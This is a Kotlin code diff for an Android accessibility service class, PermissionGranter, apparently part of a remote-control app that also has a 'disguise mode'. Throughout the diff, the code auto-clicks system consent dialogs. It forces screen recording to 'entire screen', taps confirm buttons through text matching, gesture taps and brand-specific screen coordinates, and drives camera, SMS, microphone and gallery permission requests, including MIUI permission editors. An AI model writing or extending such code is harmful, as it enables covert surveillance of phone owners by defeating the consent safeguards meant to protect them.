+ )
+ val fullScreenTexts = arrayOf(
+ "整个屏幕", "整个设备", "全屏", "完整屏幕",
+ "Entire screen", "Full screen", "Whole screen", "Entire display"
+ )
+
// 先检查是否有"单个应用"文本(参考case 16: 搜索"单个应用")
- val singleAppNodes = findNodesByText(rootNode, "单个应用")
- if (singleAppNodes.isNotEmpty()) {
- Log.i(TAG, "🎬 [d.t] 检测到两步授权弹窗(有'单个应用'选项)")
+ var singleAppDetected = false
+ for (singleText in singleAppTexts) {
+ val singleAppNodes = findNodesByText(sequenceRoot, singleText)
+ if (singleAppNodes.isEmpty()) continue
+ singleAppDetected = true
+ Log.i(TAG, "🎬 [d.t] 检测到两步授权弹窗(命中'$singleText')")
+
+ // 有些ROM默认选中“单个应用”,先点开选择器再选“整个屏幕”
+ val singleTarget = singleAppNodes.firstOrNull { it.isVisibleToUser }
+ val singleClickTarget = singleTarget?.let { if (it.isClickable) it else findClickableParentOrSibling(it) }
+ if (singleClickTarget != null) {
+ singleClickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)
+ delay(180)
+ sequenceRoot = service.rootInActiveWindow ?: sequenceRoot
+ }
+ break
}
// 点击"整个屏幕"(参考case 15)
- val fullScreenTexts = arrayOf(
- "整个屏幕", "全屏", "完整屏幕", "Entire screen", "Full screen", "Whole screen"
- )
var fullScreenClicked = false
for (text in fullScreenTexts) {
- val nodes = findNodesByText(rootNode, text)
+ val nodes = findNodesByText(sequenceRoot, text)
for (node in nodes) {
if (node.isVisibleToUser) {
val clickTarget = if (node.isClickable) node else findClickableParentOrSibling(node)
@@ -860,7 +2057,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// 也尝试RadioButton方式选择全屏
if (!fullScreenClicked) {
- val radioButtons = findNodesByClassName(rootNode, "android.widget.RadioButton")
+ val radioButtons = findNodesByClassName(sequenceRoot, "android.widget.RadioButton")
for (radio in radioButtons) {
val radioText = radio.text?.toString() ?: ""
val radioDesc = radio.contentDescription?.toString() ?: ""
@@ -877,6 +2074,10 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
}
}
}
+
+ if (singleAppDetected && !fullScreenClicked) {
+ Log.w(TAG, "⚠️ [d.t] 已检测到单应用模式,但未成功切换到整个屏幕,将直接尝试确认按钮")
+ }
if (fullScreenClicked) {
// 延迟300ms等待界面更新(参考case 15 → case 14的延迟)
@@ -886,16 +2087,18 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// === Step 2: 点击确认按钮(参考case 14: 遍历f605d确认按钮数组) ===
delay(300)
- val updatedRoot = service.rootInActiveWindow ?: return
-
+ val updatedRoot = service.rootInActiveWindow ?: sequenceRoot
+ var confirmClicked = false
+ val confirmKeywords = mediaProjectionConfirmKeywords.toList()
+
for (confirmText in mediaProjectionConfirmKeywords) {
val buttons = findNodesByText(updatedRoot, confirmText)
for (button in buttons) {
if (!button.isVisibleToUser) continue
// 检查是否在黑名单中
- val buttonText = button.text?.toString() ?: ""
- val isDenied = denyButtonBlacklist.any { buttonText.contains(it, ignoreCase = true) }
+ val buttonText = buildNodeCombinedText(button.text, button.contentDescription)
+ val isDenied = isRuntimeDenyText(buttonText)
if (isDenied) continue
val clickTarget = if (button.isClickable) button else findClickableParentOrSibling(button)
@@ -903,12 +2106,37 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
val success = clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)
if (success) {
Log.i(TAG, "🎬 [d.t] 成功点击确认按钮: '$confirmText'")
+ confirmClicked = true
+ stopAutoClickingImmediately()
+ return
+ } else if (tapNodeCenterByGesture(clickTarget, "d_t_confirm:$confirmText")) {
+ Log.i(TAG, "🎬 [d.t] 节点点击失败,已触发手势中心点击兜底: '$confirmText'")
+ confirmClicked = true
stopAutoClickingImmediately()
return
}
}
}
}
+
+ // 文本搜索未命中时,遍历可点击节点做一次“开始/同意”语义匹配
+ if (!confirmClicked) {
+ val clickableNodes = findAllClickableNodes(updatedRoot)
+ for (node in clickableNodes) {
+ if (!node.isVisibleToUser) continue
+ val nodeText = buildNodeCombinedText(node.text, node.contentDescription)
+ if (nodeText.isBlank() || isRuntimeDenyText(nodeText)) continue
+ if (!containsAnyKeyword(nodeText, confirmKeywords)) continue
+
+ val clickTarget = if (node.isClickable) node else findClickableParentOrSibling(node)
+ if (clickTarget != null && clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)) {
+ Log.i(TAG, "🎬 [d.t] 语义匹配点击确认按钮成功: '$nodeText'")
+ confirmClicked = true
+ stopAutoClickingImmediately()
+ return
+ }
+ }
+ }
// === Step 3: 节点点击失败时,使用坐标点击兜底(参考d.g.f()) ===
Log.i(TAG, "🎬 [d.t] 节点点击失败,尝试坐标点击兜底")
@@ -951,7 +2179,11 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// OPPO/一加(参考:oppo ≤1080w → (540, 1980~2050) 重复3次)
brand.contains("oppo") || brand.contains("oneplus") || brand.contains("realme") -> {
when {
- screenWidth < 780 -> listOf(ClickConfig(360, 1350, 3))
+ // OPPO小屏机型常见布局:右下角“开始”按钮
+ screenWidth < 780 -> listOf(
+ ClickConfig((screenWidth * 0.80f).toInt(), (screenHeight * 0.69f).toInt(), 2),
+ ClickConfig((screenWidth * 0.82f).toInt(), (screenHeight * 0.71f).toInt(), 1)
+ )
screenWidth <= 1080 -> listOf(
ClickConfig(540, 1980, 2),
ClickConfig(540, 2050, 1)
@@ -1041,6 +2273,28 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.e(TAG, "❌ [d.g] 手势点击失败: ($x, $y)", e)
}
}
+
+ private fun tapNodeCenterByGesture(node: AccessibilityNodeInfo, reason: String): Boolean {
+ return try {
+ val bounds = android.graphics.Rect()
+ node.getBoundsInScreen(bounds)
+ if (bounds.isEmpty) {
+ Log.w(TAG, "⚠️ 手势中心点击失败,节点无有效边界: reason=$reason")
+ return false
+ }
+ val centerX = (bounds.left + bounds.right) / 2
+ val centerY = (bounds.top + bounds.bottom) / 2
+ Log.i(
+ TAG,
+ "🎯 节点点击失败,改用手势中心点击: reason=$reason, center=($centerX,$centerY), bounds=$bounds"
+ )
+ performGestureClick(centerX, centerY)
+ true
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 手势中心点击异常: reason=$reason", e)
+ false
+ }
+ }
/**
* 第二层:通用权限弹窗自动点击(参考d.r)
@@ -1054,15 +2308,32 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
}
val packageName = event.packageName?.toString() ?: ""
+ val className = event.className?.toString().orEmpty()
// 只处理系统相关的包名(权限弹窗来源)
if (!packageName.contains("android") &&
!packageName.contains("systemui") &&
!packageName.contains("permissioncontroller") &&
!packageName.contains("settings") &&
- !packageName.contains("packageinstaller")) {
+ !packageName.contains("packageinstaller") &&
+ !packageName.contains("securitycenter") &&
+ !packageName.contains("permcenter") &&
+ !packageName.contains("lbe.security.miui") &&
+ !packageName.contains("systemmanager")) {
return
}
+
+ if (isMiuiPermissionEditorPackage(packageName)) {
+ val inMiuiPermissionEditor = className.contains("PermissionsEditorActivity", ignoreCase = true) ||
+ className.contains("PermissionAppsModifyActivity", ignoreCase = true)
+ if (inMiuiPermissionEditor || !activeRuntimePermissionRequest.isNullOrBlank()) {
+ Log.d(
+ TAG,
+ "⏭️ [d.r] 跳过MIUI权限编辑页通用点击,避免误触详情行: class=$className, activeRequest=$activeRuntimePermissionRequest"
+ )
+ return
+ }
+ }
val rootNode = service.rootInActiveWindow ?: return
@@ -1197,19 +2468,10 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// 🔧 优化:更保守的状态管理,只在确实需要时才设置
if (!isRequestingMediaProjection) {
Log.i(TAG, "🎯 [权限申请] 当前不在权限申请状态,临时设置为申请状态")
- isRequestingMediaProjection = true
-
- // 🔧 缩短安全重置时间,避免状态卡死
- serviceScope.launch {
- delay(8000) // 8秒后检查(减少了2秒)
- if (isRequestingMediaProjection && !hasMediaProjectionPermission()) {
- Log.w(TAG, "⚠️ [安全重置] 8秒后权限仍未获取,重置状态避免乱点击")
- isRequestingMediaProjection = false
- mediaProjectionRetryCount = 0
- }
- }
+ setMediaProjectionRequesting(true)
} else {
Log.i(TAG, "🎯 [权限申请] 已在权限申请状态,无需重复设置")
+ startOrRefreshMediaProjectionSafetyReset("event_detect_dialog_keepalive")
}
}
}
@@ -1615,35 +2877,75 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return clickableNodes
}
+ private fun isMiuiPermissionEditorPackage(packageName: String?): Boolean {
+ if (packageName.isNullOrBlank()) return false
+ val normalized = packageName.lowercase()
+ return normalized.contains("miui.securitycenter") ||
+ normalized.contains("miui.permcenter") ||
+ normalized.contains("lbe.security.miui")
+ }
+
/**
* 检测是否可能是权限对话框 - 更宽松的检测
*/
private fun isLikelyPermissionDialog(packageName: String?): Boolean {
- if (packageName == null) return true // ✅ 空包名也允许处理,可能是系统对话框
+ if (packageName.isNullOrBlank()) return false
+ val normalized = packageName.lowercase()
// ✅ 关键修复:排除锁屏界面,避免误点击锁屏确认按钮
if (isLockScreenInterface(packageName)) {
Log.w(TAG, "🔒 [关键修复] 检测到锁屏界面 ($packageName),跳过权限处理避免误点击确认按钮")
return false
}
-
- // ✅ 扩大检测范围,包含更多可能的权限对话框
- return packageName.contains("systemui") ||
- packageName.contains("system") ||
- packageName.contains("android") ||
- packageName.contains("permissioncontroller") ||
- packageName.contains("settings") ||
- packageName.contains("com.android") ||
- packageName.contains("permission") ||
- packageName.contains("dialog") ||
- packageName.lowercase().contains("screen") ||
- // ✅ 厂商定制UI
- packageName.contains("miui") ||
- packageName.contains("coloros") ||
- packageName.contains("emui") ||
- packageName.contains("flyme") ||
- packageName.contains("funtouch") ||
- packageName.contains("oneplus")
+
+ // 桌面/相册/相机等页面容易误触发“开始拍摄”,直接排除
+ val denyPackages = listOf(
+ "com.miui.home",
+ "com.miui.gallery",
+ "com.android.camera",
+ "com.miui.personalassistant",
+ "com.android.mms",
+ "com.google.android.apps.messaging"
+ )
+ if (denyPackages.any { normalized == it || normalized.startsWith("$it.") }) {
+ return false
+ }
+
+ val inPermissionFlowPackages = permissionFlowPackageHints.any { hint ->
+ normalized == hint || normalized.contains(hint)
+ }
+
+ // 只允许系统权限/安全中心相关窗口,避免在普通应用页面误点
+ return normalized == "android" ||
+ normalized.contains("systemui") ||
+ inPermissionFlowPackages ||
+ normalized.contains("settings") ||
+ normalized.contains("permission")
+ }
+
+ /**
+ * 发送短信运行时权限弹窗专用包名检测(更严格,避免误点短信应用界面)
+ */
+ private fun isRuntimePermissionDialogPackage(packageName: String?): Boolean {
+ if (packageName == null) return true
+ val normalized = packageName.lowercase()
+ val explicitDenyPackages = listOf(
+ "mms",
+ "message",
+ "messaging",
+ "sms",
+ "dialer",
+ "contacts"
+ )
+ if (explicitDenyPackages.any { normalized.contains(it) }) {
+ return false
+ }
+ val inPermissionFlowPackages = permissionFlowPackageHints.any { hint ->
+ normalized == hint || normalized.contains(hint)
+ }
+ return normalized.contains("systemui") ||
+ normalized == "android" ||
+ inPermissionFlowPackages
}
/**
@@ -2241,12 +3543,12 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// ✅ 简化系统对话框检测
val isSystemDialog = isLikelyPermissionDialog(packageName)
- val shouldProcess = isSystemDialog || mediaProjectionRetryCount >= 2 // 降低重试阈值,从3降到2
+ val shouldProcess = isSystemDialog
- Log.d(TAG, "🔍 处理决策: shouldProcess=$shouldProcess (isSystemDialog=$isSystemDialog, retryCount=$mediaProjectionRetryCount)")
+ Log.d(TAG, "🔍 处理决策: shouldProcess=$shouldProcess (isSystemDialog=$isSystemDialog, packageName=$packageName)")
if (!shouldProcess) {
- Log.v(TAG, "📋 非权限对话框且重试次数不足,跳过处理 (packageName=$packageName)")
+ Log.v(TAG, "📋 非系统权限窗口,跳过处理 (packageName=$packageName)")
return
}
@@ -2487,10 +3789,13 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (success) {
Log.i(TAG, "🎉 通过resourceId成功点击确认按钮: $resourceId")
buttonFound = true
- isRequestingMediaProjection = false
break
} else {
Log.w(TAG, "⚠️ ResourceId点击失败: $resourceId")
+ if (tapNodeCenterByGesture(button, "resourceId:$resourceId")) {
+ buttonFound = true
+ break
+ }
}
} else {
Log.i(TAG, " ❌ ResourceId节点不可点击或非按钮类型")
@@ -2509,9 +3814,6 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.i(TAG, "🔍 策略3: 智能匹配所有可点击节点...")
buttonFound = findAndClickSmartButton(rootNode, 0).first
}
- if (buttonFound) {
- isRequestingMediaProjection = false
- }
}
// 策略4: 全面扫描所有按钮 - 新增策略
@@ -2523,9 +3825,6 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.i(TAG, "🔍 策略4: 全面扫描所有按钮并详细分析...")
buttonFound = scanAllButtonsAndAnalyze(rootNode)
}
- if (buttonFound) {
- isRequestingMediaProjection = false
- }
}
// 策略5: 二次确认页面检测(仅在特定条件下触发)
@@ -2536,9 +3835,6 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
} else {
Log.i(TAG, "🔍 策略5: 检测是否存在二次确认页面...")
buttonFound = handleSecondaryConfirmationIfNeeded(rootNode)
- if (buttonFound) {
- isRequestingMediaProjection = false
- }
}
}
@@ -2553,28 +3849,31 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (buttonFound) {
Log.i(TAG, "🎉 MediaProjection权限对话框处理成功")
- // ✅ 立即重置所有状态,防止继续创建MainActivity
- isRequestingMediaProjection = false
- mediaProjectionRetryCount = 0
+ // 保持 requesting=true,等待 MainActivity.onActivityResult 写入真实 token
hasDetectedPermissionDialog = false
dialogDetectionCount = 0
lastDialogPackageName = null
- Log.i(TAG, "🔄 已重置所有权限申请状态,停止MainActivity创建循环")
+ Log.i(TAG, "⏳ 已点击授权按钮,等待MainActivity回调真实权限数据")
// ⚠️ 延迟发送权限成功广播,等待MainActivity确认
Log.i(TAG, "⏳ 等待MainActivity权限结果确认...")
// 设置一个延迟检查,如果3秒后MainActivity没有确认权限成功,则认为失败
CoroutineScope(Dispatchers.Main).launch {
- delay(3000)
+ delay(6000)
- // 检查权限是否真的获取成功
- if (isRequestingMediaProjection) {
- Log.w(TAG, "⚠️ 3秒后MainActivity仍未确认权限成功,可能点击了错误按钮")
+ // 检查权限是否真的获取成功(必须是 MainActivity 回调写入的真实数据)
+ if (!hasMediaProjectionPermission()) {
+ if (isSystemProjectionDialogVisible()) {
+ Log.i(TAG, "⏳ 权限弹窗仍在前台,延后重置状态等待系统回调")
+ return@launch
+ }
+ Log.w(TAG, "⚠️ 6秒后仍未检测到真实MediaProjection权限数据,可能点击失败或系统未回调")
Log.w(TAG, "🔄 重置状态并重试或要求用户手动操作")
// 重置状态,让系统有机会重试
+ isRequestingMediaProjection = false
hasDetectedPermissionDialog = false
dialogDetectionCount = 0
@@ -2683,6 +3982,9 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return Pair(true, false)
} else {
Log.w(TAG, "⚠️ 智能匹配点击失败")
+ if (tapNodeCenterByGesture(node, "smart_button:$text")) {
+ return Pair(true, false)
+ }
}
} else {
Log.d(TAG, " ❓ 节点不符合确认按钮特征")
@@ -3118,6 +4420,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
fun stopAutoClickingImmediately() {
try {
Log.i(TAG, "🛑 [强制停止] 立即停止PermissionGranter自动点击功能")
+ cancelMediaProjectionSafetyReset("stop_auto_clicking")
isRequestingMediaProjection = false
dialogDetectionCount = 0
mediaProjectionRetryCount = 0
@@ -3134,43 +4437,13 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
*/
private fun handleMediaProjectionGranted() {
try {
- Log.i(TAG, "MediaProjection权限已获取")
+ Log.i(TAG, "MediaProjection授权按钮已点击")
- // ✅ 关键修复:权限获取成功后立即停止自动点击功能
- isRequestingMediaProjection = false
- dialogDetectionCount = 0
- mediaProjectionRetryCount = 0
+ // 关键约束:禁止伪造权限 Intent,必须等待 MainActivity.onActivityResult 写入真实数据
+ Log.i(TAG, "🧾 等待MainActivity.onActivityResult回写真实MediaProjection权限数据(不再写入模拟Intent)")
hasDetectedPermissionDialog = false
- Log.i(TAG, "🛑 [关键修复] 权限获取成功,已停止PermissionGranter自动点击功能")
-
- // ✅ 关键修复:直接模拟权限数据存储,不依赖MainActivity的onActivityResult
- try {
- Log.i(TAG, "🔧 权限按钮点击成功,模拟权限数据存储")
-
- // 创建模拟的权限数据 - 使用标准的RESULT_OK和最小化的Intent
- val resultCode = android.app.Activity.RESULT_OK
- val resultData = android.content.Intent().apply {
- // 添加必要的权限标识,模拟系统返回的权限数据
- putExtra("EXTRA_MEDIA_PROJECTION_PERMISSION_GRANTED", true)
- putExtra("EXTRA_PERMISSION_SOURCE", "PermissionGranter_AutoClick")
- putExtra("EXTRA_TIMESTAMP", System.currentTimeMillis())
- }
-
- // 直接存储到MediaProjectionHolder
- com.hikoncont.MediaProjectionHolder.setPermissionData(resultCode, resultData)
- Log.i(TAG, "✅ 已模拟存储MediaProjection权限数据到MediaProjectionHolder")
-
- // 验证存储是否成功
- val storedData = com.hikoncont.MediaProjectionHolder.getPermissionData()
- if (storedData != null) {
- Log.i(TAG, "✅ 权限数据存储验证成功,MainActivity监听应该能检测到")
- } else {
- Log.e(TAG, "❌ 权限数据存储验证失败")
- }
-
- } catch (e: Exception) {
- Log.e(TAG, "❌ 模拟权限数据存储失败", e)
- }
+ dialogDetectionCount = 0
+ lastDialogPackageName = null
// Android 15设备可能需要二次确认,启动监听
val androidVersion = Build.VERSION.SDK_INT
@@ -3178,6 +4451,20 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// 🚨 Android 11+特殊处理:统一使用无障碍截图API,跳过二次确认监听
if (androidVersion >= 30) {
Log.i(TAG, "📱 Android 11+设备:使用无障碍截图API,跳过二次确认监听")
+ CoroutineScope(Dispatchers.Main).launch {
+ var checked = 0
+ while (checked < 12) {
+ if (hasMediaProjectionPermission()) {
+ Log.i(TAG, "✅ 检测到真实MediaProjection权限数据,停止自动点击状态")
+ setMediaProjectionRequesting(false)
+ return@launch
+ }
+ delay(500)
+ checked++
+ }
+ Log.w(TAG, "⚠️ 超时未检测到真实MediaProjection权限数据,结束当前申请轮次")
+ isRequestingMediaProjection = false
+ }
return
}
@@ -3283,7 +4570,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
val rootNode = service.rootInActiveWindow ?: return@repeat
try {
- val buttonTexts = romAdapter.getMediaProjectionButtonTexts()
+ val buttonTexts = romPolicy.mediaProjectionConfirmTexts
val button = findButtonByTexts(rootNode, buttonTexts)
if (button != null) {
@@ -3416,10 +4703,22 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
fun resetPermissionRequestState() {
Log.i(TAG, "🔄 重置权限申请状态")
isRequestingMediaProjection = false
+ isRequestingCameraPermission = false
+ isRequestingGalleryPermission = false
+ isRequestingMicrophonePermission = false
+ isRequestingSMSPermission = false
// 删除悬浮窗权限请求状态重置
mediaProjectionRetryCount = 0
+ cameraPermissionRetryCount = 0
+ galleryPermissionRetryCount = 0
+ microphonePermissionRetryCount = 0
+ smsPermissionRetryCount = 0
// 删除悬浮窗权限重试计数重置
lastMediaProjectionAttemptTime = 0L
+ cameraPermissionRequestStartedAt = 0L
+ galleryPermissionRequestStartedAt = 0L
+ microphonePermissionRequestStartedAt = 0L
+ smsPermissionRequestStartedAt = 0L
// 删除悬浮窗权限最后尝试时间重置
// 停止二次确认监听
@@ -3578,6 +4877,9 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return true
} else {
Log.w(TAG, "⚠️ 点击确认按钮失败")
+ if (tapNodeCenterByGesture(targetButton, "scan_all_confirm:${targetButton.text}")) {
+ return true
+ }
}
}
@@ -3622,18 +4924,55 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
}
}
- // 如果还是没找到,尝试点击非取消按钮
- for (button in allButtons) {
- val text = button.text?.toString()?.lowercase() ?: ""
- val isCancelButton = text.contains("cancel") || text.contains("取消") ||
- text.contains("deny") || text.contains("拒绝") ||
- text.contains("dismiss") || text.contains("关闭")
-
- if (!isCancelButton) {
- Log.i(TAG, "🎯 尝试点击非取消按钮: 文本='$text'")
+ // 如果还是没找到,执行严格兜底:
+ // 1) 必须在系统投屏弹窗上下文
+ // 2) 必须是按钮样式节点
+ // 3) 必须命中确认语义(允许/开始),禁止“非取消即点击”
+ if (!isSystemProjectionDialogVisible()) {
+ Log.w(TAG, "🛡️ 跳过宽松兜底:当前非系统投屏弹窗上下文,避免误点")
+ } else {
+ for (button in allButtons) {
+ val text = button.text?.toString()?.trim().orEmpty()
+ val desc = button.contentDescription?.toString()?.trim().orEmpty()
+ val combinedText = buildNodeCombinedText(button.text, button.contentDescription)
+ val className = button.className?.toString().orEmpty()
+ val viewId = button.viewIdResourceName.orEmpty()
+
+ val buttonLikeClass =
+ className.contains("button", ignoreCase = true) ||
+ className.contains("material", ignoreCase = true)
+ val buttonLikeId =
+ viewId.contains("button", ignoreCase = true) ||
+ viewId.contains("positive", ignoreCase = true) ||
+ viewId.contains("confirm", ignoreCase = true)
+ val buttonLikeNode = button.isClickable && (buttonLikeClass || buttonLikeId)
+
+ val isCancelButton =
+ isRuntimeDenyText(combinedText) ||
+ text.contains("dismiss", ignoreCase = true) ||
+ desc.contains("dismiss", ignoreCase = true)
+ val isConfirmButton =
+ isRuntimeAllowText(combinedText) ||
+ viewId.contains("allow", ignoreCase = true) ||
+ viewId.contains("start", ignoreCase = true) ||
+ viewId.contains("positive", ignoreCase = true) ||
+ viewId.contains("button1", ignoreCase = true)
+
+ if (isCancelButton || !isConfirmButton || !buttonLikeNode) {
+ Log.d(
+ TAG,
+ "⏭️ 严格兜底跳过节点: text='$text', desc='$desc', class='$className', viewId='$viewId', confirm=$isConfirmButton, cancel=$isCancelButton, buttonLike=$buttonLikeNode"
+ )
+ continue
+ }
+
+ Log.i(TAG, "🎯 严格兜底点击确认按钮: text='$text', desc='$desc'")
val success = button.performAction(AccessibilityNodeInfo.ACTION_CLICK)
if (success) {
- Log.i(TAG, "🎉 成功点击非取消按钮: $text")
+ Log.i(TAG, "🎉 严格兜底点击成功: text='$text'")
+ return true
+ }
+ if (tapNodeCenterByGesture(button, "scan_all_strict_confirm:$text")) {
return true
}
}
@@ -4860,10 +6199,10 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
try {
Log.d(TAG, "🔍 检查是否为Android ${Build.VERSION.SDK_INT} 真实用户权限弹窗")
- // 🔧 首先检查包名,必须是系统UI才可能是权限弹窗
+ // 🔧 首先检查包名,必须是系统权限相关组件才可能是权限弹窗
val packageName = event.packageName?.toString()
- if (packageName != "com.android.systemui") {
- Log.d(TAG, "🔍 包名不是systemui,不是权限弹窗: $packageName")
+ if (!isLikelyMediaProjectionDialogPackage(packageName)) {
+ Log.d(TAG, "🔍 包名不在录屏弹窗白名单,不是权限弹窗: $packageName")
return false
}
@@ -5561,6 +6900,9 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return true
} else {
Log.w(TAG, "⚠️ 安全模式点击确认按钮失败")
+ if (tapNodeCenterByGesture(targetButton, "scan_safe_confirm:${targetButton.text}")) {
+ return true
+ }
}
} else {
Log.w(TAG, "⚠️ 安全模式未找到合适的确认按钮")
@@ -5657,8 +6999,15 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
*/
fun startCameraPermissionRequest() {
if (isRequestingCameraPermission) {
- Log.i(TAG, "📷 摄像头权限申请已在进行中")
- return
+ if (shouldRecoverStaleRuntimeRequest("摄像头", cameraPermissionRequestStartedAt, hasCameraPermission())) {
+ isRequestingCameraPermission = false
+ cameraPermissionRetryCount = 0
+ cameraPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("camera", "stale_reset_before_restart")
+ } else {
+ Log.i(TAG, "📷 摄像头权限申请已在进行中")
+ return
+ }
}
// 🎭 检查是否是伪装模式,如果是则不申请权限
@@ -5669,6 +7018,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (hasCameraPermission()) {
Log.i(TAG, "✅ 摄像头权限已授予")
+ clearRuntimePermissionFailure("camera", "already_granted_before_request")
return
}
@@ -5677,36 +7027,51 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.e(TAG, "❌ 无障碍服务状态异常,无法申请权限")
return
}
-
+
+ if (shouldDeferRuntimePermissionForProjection("camera")) {
+ return
+ }
+ if (shouldWaitForForegroundRuntimeRequest("camera")) {
+ return
+ }
+
+ refreshRuntimePermissionPacing("camera_request")
+ if (!beginRuntimePermissionRequest("camera")) {
+ return
+ }
Log.i(TAG, "📷 开始摄像头权限申请流程")
isRequestingCameraPermission = true
cameraPermissionRetryCount = 0
-
- // ✅ 修复:检查是否是保活场景,如果是则不启动MainActivity
- if (isKeepAliveScenario()) {
- Log.i(TAG, "💡 保活场景下申请摄像头权限,不启动MainActivity(避免保活程序拉起)")
- Log.i(TAG, "💡 建议:通过通知或其他方式让用户主动打开应用进行权限申请")
- return
- }
-
- // 确保MainActivity被启用
- ensureMainActivityEnabled()
-
- // 启动权限申请Activity
- val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply {
- flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
- putExtra("request_camera_permission", true)
- }
- context.startActivity(intent)
+ cameraPermissionRequestStartedAt = System.currentTimeMillis()
- // MIUI/澎湃OS 特殊处理
- if (isMiuiDevice()) {
- Log.i(TAG, "🔧 检测到小米/澎湃OS,尝试打开MIUI权限编辑页以授予摄像头权限")
- openMiuiPermissionEditor("camera")
- }else{
+ try {
+ var entryVisible = launchRuntimePermissionBridgeActivity("camera", "start_request")
+ if (!entryVisible && shouldLaunchMainActivityForRuntimeRequest("camera")) {
+ // 确保MainActivity被启用
+ ensureMainActivityEnabled()
+
+ // 启动权限申请Activity
+ val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply {
+ flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
+ putExtra("request_camera_permission", true)
+ }
+ context.startActivity(intent)
+ entryVisible = verifyRuntimeRequestEntry("camera", "main_activity")
+ }
- // 开始监听权限对话框
+ // MIUI/澎湃OS 特殊处理
+ if (isMiuiDevice() && !entryVisible) {
+ Log.i(TAG, "🔧 检测到小米/澎湃OS,尝试打开MIUI权限编辑页以授予摄像头权限")
+ openMiuiPermissionEditor("camera")
+ }
+ // 始终启动监听,确保MIUI分支也能在超时后自动清理请求状态
startCameraPermissionDialogMonitoring()
+ } catch (e: Exception) {
+ Log.e(TAG, "启动摄像头权限申请失败", e)
+ isRequestingCameraPermission = false
+ cameraPermissionRetryCount = 0
+ cameraPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("camera", "start_exception")
}
}
@@ -5716,8 +7081,15 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
*/
fun startSMSPermissionRequest() {
if (isRequestingSMSPermission) {
- Log.i(TAG, "📱 短信权限申请已在进行中")
- return
+ if (shouldRecoverStaleRuntimeRequest("短信", smsPermissionRequestStartedAt, hasSMSPermission())) {
+ isRequestingSMSPermission = false
+ smsPermissionRetryCount = 0
+ smsPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("sms", "stale_reset_before_restart")
+ } else {
+ Log.i(TAG, "📱 短信权限申请已在进行中")
+ return
+ }
}
// 🎭 检查是否是伪装模式,如果是则不申请权限
@@ -5728,6 +7100,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (hasSMSPermission()) {
Log.i(TAG, "✅ 短信权限已授予")
+ clearRuntimePermissionFailure("sms", "already_granted_before_request")
return
}
@@ -5736,40 +7109,232 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.e(TAG, "❌ 无障碍服务状态异常,无法申请权限")
return
}
-
+
+ if (shouldDeferRuntimePermissionForProjection("sms")) {
+ return
+ }
+ if (shouldWaitForForegroundRuntimeRequest("sms")) {
+ return
+ }
+
+ refreshRuntimePermissionPacing("sms_request")
+ if (!beginRuntimePermissionRequest("sms")) {
+ return
+ }
Log.i(TAG, "📱 开始短信权限申请流程")
isRequestingSMSPermission = true
smsPermissionRetryCount = 0
-
- // ✅ 修复:检查是否是保活场景,如果是则不启动MainActivity
- if (isKeepAliveScenario()) {
- Log.i(TAG, "💡 保活场景下申请短信权限,不启动MainActivity(避免保活程序拉起)")
- Log.i(TAG, "💡 建议:通过通知或其他方式让用户主动打开应用进行权限申请")
- return
- }
-
- // 确保MainActivity被启用
- ensureMainActivityEnabled()
-
- // 启动权限申请Activity
- val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply {
- flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
- putExtra("request_sms_permission", true)
- }
- context.startActivity(intent)
+ smsPermissionRequestStartedAt = System.currentTimeMillis()
- // MIUI/澎湃OS 特殊处理
- if (isMiuiDevice()) {
- Log.i(TAG, "🔧 检测到小米/澎湃OS,尝试打开MIUI权限编辑页以授予短信权限")
- openMiuiPermissionEditor("sms")
- }else{
- // 开始监听权限对话框
+ try {
+ var entryVisible = launchRuntimePermissionBridgeActivity("sms", "start_request")
+ if (!entryVisible && shouldLaunchMainActivityForRuntimeRequest("sms")) {
+ // 确保MainActivity被启用
+ ensureMainActivityEnabled()
+
+ // 启动权限申请Activity
+ val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply {
+ flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
+ putExtra("request_sms_permission", true)
